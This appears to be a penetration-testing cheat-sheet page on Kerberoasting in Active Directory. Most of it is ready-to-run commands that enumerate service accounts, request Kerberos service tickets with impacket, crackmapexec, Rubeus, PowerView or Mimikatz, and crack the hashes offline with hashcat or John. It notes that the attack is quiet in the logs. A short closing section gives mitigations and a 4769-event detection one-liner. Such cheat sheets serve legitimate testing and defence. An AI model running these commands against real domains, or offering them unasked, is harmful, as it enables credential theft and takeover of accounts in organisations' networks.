Kerberoasting

All user accounts that have Service Principal Names (SPN's) set can be kerberoasted. In other words, their password hashes can be obtained which can then be cracked.

In order to perform the attack, we need to find service accounts which are also user accounts.

This attack can be performed as any user with legitimate credentials.

It is also a relatively silent technique because it leaves only one 4769 ID event on the log. And there can be up to thousands of these events daily.

Find Service Accounts as User Accounts

# PowerView
Get-NetUser -SPN | select samaccountname

# AD Module
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName | select samaccountname

Then Grab the Hashes

From Linux

# impacket
python3 GetUserSPNs.py <domain>/<user> -request -dc-ip <ip>

# crackmapexec
crackmapexec ldap <ip> -u <user> -p <pass> --kerberoasting KERBEROASTING [--kdcHost <dc-ip>]

Grabbing Hashes Directly From Powershell

  • With Rubeus

.\Rubeus.exe kerberoast /outfile:<output_file>
  • Invoke-Kerberoast.ps1

Invoke-Kerberoast -OutputFormat [Hashcat/John]

Creating TGS's and Exporting the Tickets

  • Method 1: PowerView

Request-SPNTicket -SPN "<kerberoastable_service>/<kerberoastable_service_domain>"
  • Method 2: Using Native Windows Commands

Add-Type -AssemblyName System.IdentityModel

New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "<kerberoastable_service>/<kerberoastable_service_domain>"
  • Then Export the Ticket with Mimikatz

Invoke-Mimikatz -Command ‘"kerberos::list /export"’

Cracking Tickets Offline

# First convert the ticket into a crackable hash
kirbi2john ticket.kirbi > hashfile.txt

# Then use hashcat to crack it...
hashcat -m 13100 hashfile.txt rockyou.txt
# or john
john hashfile.txt -wordlist=rockyou.txt

Don't bother with tgsrepcrack.py. It is way too slow in comparison.

Mitigations

  • Make the service account passwords very long and hard to guess to decrease the chances of those hashes being cracked.

  • Use Managed Service Accounts and change those passwords regularly if possible.

  • When monitoring 4769 events, filter out krbtgt and service names that do not start with '$'.

    • Also, filter out '@' to remove machine account requests.

  • There is also an effective Powershell one-liner you can use (but avoid in production environments):

    Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 |?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select -ExpandProperty message

Last updated